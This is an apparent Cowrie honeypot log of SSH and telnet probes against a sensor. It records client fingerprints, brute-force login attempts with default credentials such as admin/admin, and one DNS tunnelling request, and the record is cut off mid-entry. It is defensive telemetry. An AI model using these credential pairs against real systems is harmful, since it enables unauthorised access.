{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:42:52.505106Z","src_ip":"159.203.92.129","session":"89663343cd3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:42:52.509594Z","src_ip":"159.203.92.129","session":"89663343cd3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adm","password":"123456","message":"login attempt [adm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:42:52.520193Z","src_ip":"159.203.92.129","session":"89663343cd3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:42:53.526963Z","src_ip":"159.203.92.129","session":"89663343cd3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":54238,"dst_ip":"159.203.135.109","dst_port":22,"session":"499c76404e59","protocol":"ssh","message":"New connection: 117.247.23.131:54238 (159.203.135.109:22) [session: 499c76404e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:42:53.678532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:42:53.683001Z","src_ip":"117.247.23.131","session":"499c76404e59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:42:54.463994Z","src_ip":"117.247.23.131","session":"499c76404e59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mindware","password":"mindware","message":"login attempt [mindware/mindware] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:42:57.604683Z","src_ip":"117.247.23.131","session":"499c76404e59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:42:59.435949Z","src_ip":"117.247.23.131","session":"499c76404e59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.564608097076416,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:00.015083Z","src_ip":"210.57.229.52","session":"96b86c5fe7c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.73.70.184","src_port":58844,"dst_ip":"10.17.0.5","dst_port":23,"session":"1143a8b386fc","protocol":"telnet","message":"New connection: 77.73.70.184:58844 (10.17.0.5:23) [session: 1143a8b386fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:01.475309Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.73.70.184","src_port":59838,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e51da703bc2","protocol":"telnet","message":"New connection: 77.73.70.184:59838 (10.17.0.5:23) [session: 5e51da703bc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:09.488812Z"}
{"eventid":"cowrie.session.closed","duration":30.874581575393677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:20.018990Z","src_ip":"20.241.4.216","session":"7d9082f2f3d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.73.70.184","src_port":33102,"dst_ip":"10.17.0.5","dst_port":23,"session":"b725dee7676a","protocol":"telnet","message":"New connection: 77.73.70.184:33102 (10.17.0.5:23) [session: b725dee7676a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:22.488581Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.73.70.184","src_port":33628,"dst_ip":"10.17.0.5","dst_port":23,"session":"acbd071075ae","protocol":"telnet","message":"New connection: 77.73.70.184:33628 (10.17.0.5:23) [session: acbd071075ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:26.487422Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.73.70.184","src_port":34190,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9bf25c4e0fd","protocol":"telnet","message":"New connection: 77.73.70.184:34190 (10.17.0.5:23) [session: f9bf25c4e0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:30.474927Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52512,"dst_ip":"159.203.135.109","dst_port":22,"session":"179370fc76eb","protocol":"ssh","message":"New connection: 159.203.92.129:52512 (159.203.135.109:22) [session: 179370fc76eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:32.160828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:32.167930Z","src_ip":"159.203.92.129","session":"179370fc76eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:32.172561Z","src_ip":"159.203.92.129","session":"179370fc76eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.768189668655396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:32.243360Z","src_ip":"77.73.70.184","session":"1143a8b386fc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"adm","password":"adm","message":"login attempt [adm/adm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:32.309536Z","src_ip":"159.203.92.129","session":"179370fc76eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:33.332986Z","src_ip":"159.203.92.129","session":"179370fc76eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.73.70.184","src_port":34804,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7defec6292b","protocol":"telnet","message":"New connection: 77.73.70.184:34804 (10.17.0.5:23) [session: f7defec6292b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:34.500072Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":29040,"dst_ip":"10.17.0.5","dst_port":22,"session":"a650b8cb688c","protocol":"ssh","message":"New connection: 87.251.64.176:29040 (10.17.0.5:22) [session: a650b8cb688c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:34.560898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:34.565704Z","src_ip":"87.251.64.176","session":"a650b8cb688c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:34.662427Z","src_ip":"87.251.64.176","session":"a650b8cb688c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:34.953086Z","src_ip":"87.251.64.176","session":"a650b8cb688c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:35.055748Z","session":"a650b8cb688c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:35.154641Z","src_ip":"87.251.64.176","session":"a650b8cb688c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:35.254674Z","src_ip":"87.251.64.176","session":"a650b8cb688c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.73.70.184","src_port":35138,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5db67ac9ea8","protocol":"telnet","message":"New connection: 77.73.70.184:35138 (10.17.0.5:23) [session: d5db67ac9ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:37.473882Z"}
{"eventid":"cowrie.session.closed","duration":30.798887968063354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:40.287601Z","src_ip":"77.73.70.184","session":"5e51da703bc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.782257556915283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:53.270748Z","src_ip":"77.73.70.184","session":"b725dee7676a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.765655040740967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:43:57.252877Z","src_ip":"77.73.70.184","session":"acbd071075ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74915361404419,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:01.223959Z","src_ip":"77.73.70.184","session":"f9bf25c4e0fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.733736276626587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:05.233724Z","src_ip":"77.73.70.184","session":"f7defec6292b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.771276473999023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:08.244996Z","src_ip":"77.73.70.184","session":"d5db67ac9ea8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.214.245","src_port":50014,"dst_ip":"10.17.0.5","dst_port":23,"session":"caf401059f23","protocol":"telnet","message":"New connection: 68.183.214.245:50014 (10.17.0.5:23) [session: caf401059f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:10.568273Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35258,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac2f4abb0f7d","protocol":"ssh","message":"New connection: 159.203.92.129:35258 (159.203.135.109:22) [session: ac2f4abb0f7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:12.979488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:12.993748Z","src_ip":"159.203.92.129","session":"ac2f4abb0f7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:12.997697Z","src_ip":"159.203.92.129","session":"ac2f4abb0f7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adm","password":"rowd\\nrowd","message":"login attempt [adm/rowd\\nrowd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:13.015049Z","src_ip":"159.203.92.129","session":"ac2f4abb0f7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:14.023586Z","src_ip":"159.203.92.129","session":"ac2f4abb0f7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00457668304443,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:17.136062Z","src_ip":"167.250.105.129","session":"c46ace94e202","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00161719322205,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:18.168509Z","src_ip":"131.222.250.52","session":"87c5c78d338a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":9870,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c986e7df4f0","protocol":"telnet","message":"New connection: 167.250.105.129:9870 (159.203.135.109:23) [session: 8c986e7df4f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:20.500648Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":19142,"dst_ip":"159.203.135.109","dst_port":22,"session":"65b851855d7c","protocol":"ssh","message":"New connection: 213.209.159.159:19142 (159.203.135.109:22) [session: 65b851855d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:32.990553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:32.997901Z","src_ip":"213.209.159.159","session":"65b851855d7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client 